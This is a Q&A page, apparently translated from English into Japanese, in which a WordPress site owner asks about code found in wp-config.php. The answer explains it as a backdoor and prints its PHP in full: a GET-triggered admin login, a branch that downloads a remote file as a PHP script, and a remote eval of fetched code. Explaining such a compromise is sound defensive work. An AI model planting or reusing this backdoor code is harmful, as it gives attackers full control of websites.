web-dev-qa-db-ja.com

このハッキングコードの説明

こんにちは私は私のサイトの1つのwp-config.phpファイルにいくつかの新しいコードを見つけました。

http://Pastebin.com/fdMJCAXw

3
urok93

このコードには3つの主要な「機能」があります。 2行は、pingnowpassが定義されていること、およびpassが正しい値であることを確認しています。 pingnowは後で「関数」を切り替えるために使用されます。

pingnow GET変数がloginである場合、最初のものが実行されます。要求しているユーザーに「admin」ユーザーとしてログインします。 'admin'というユーザーがいない場合、これは機能しません。

if ($_GET['pingnow']== 'login'){
  $user_login = 'admin';
  $user = get_userdatabylogin($user_login);
  $user_id = $user->ID;
  wp_set_current_user($user_id, $user_login);         
  wp_set_auth_cookie($user_id);
  do_action('wp_login', $user_login);
}

2番目の部分はあなたのサーバーに定義されたファイルをアップロードすることを可能にします。 pingnow変数がexecの場合、スクリプトはファイルをダウンロードし、ランダムなmd5ハッシュの名前でサーバーに保存します。その後、攻撃者をスクリプトにリダイレクトします。

if (($_GET['pingnow']== 'exec')&&(isset($_GET['file']))){
  $ch = curl_init($_GET['file']);
  $fnm = md5(Rand(0,100)).'.php';
  $fp = fopen($fnm, "w");
  curl_setopt($ch, CURLOPT_FILE, $fp);
  curl_setopt($ch, CURLOPT_HEADER, 0);
  curl_setopt($ch, CURLOPT_TIMEOUT, 5);
  curl_exec($ch);
  curl_close($ch);
  fclose($fp);
  echo "<SCRIPT LANGUAGE=\"JavaScript\">location.href='$fnm';</SCRIPT>";
}

3番目の部分はリモートphpの評価を可能にします。ファイルをダウンロードし、それをevalsしてサーバー上で実行します。

if (($_GET['pingnow']== 'eval')&&(isset($_GET['file']))){
  $ch = curl_init($_GET['file']);
  curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
  curl_setopt($ch, CURLOPT_HEADER, 0);
  curl_setopt($ch, CURLOPT_TIMEOUT, 5);
  $re = curl_exec($ch);
  curl_close($ch);
  eval($re);
}
6
nobody